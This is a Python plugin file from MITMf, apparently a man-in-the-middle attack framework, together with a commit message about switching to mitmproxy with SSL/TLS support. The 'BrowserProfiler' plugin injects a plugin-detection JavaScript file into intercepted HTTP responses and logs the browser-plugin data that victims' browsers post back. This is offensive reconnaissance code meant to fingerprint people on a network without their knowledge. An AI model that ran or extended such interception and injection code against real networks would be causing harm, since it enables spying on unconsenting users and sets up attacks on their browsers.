MITMf/plugins/browserprofiler.py
byt3bl33d3r eea5f53be2 Initial commit for v1.0 using mitmproxy instead of twisted
Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!
2016-02-06 13:27:08 -07:00

22 lines
800 B
Python

import json
from plugins.plugin import Plugin
from plugins.inject import Inject
from pprint import pformat
class BrowserProfiler(Plugin):
name = 'Browser Profiler'
optname = 'browserprofiler'
desc = 'Attempts to enumerate all browser plugins of connected clients'
ver = '0.3'
def initialize(self, context):
context.js_file = open('plugins/resources/plugindetect.js', 'r')
def request(self, context, flow):
if flow.request.method == 'POST' and ('clientprfl' in flow.request.path):
context.handle_post_output = True
pretty_output = pformat(json.loads(flow.request.content))
context.log("[BrowserProfiler] Got data:\n{}".format(pretty_output))
def response(self, context, flow):
Inject().response(context, flow)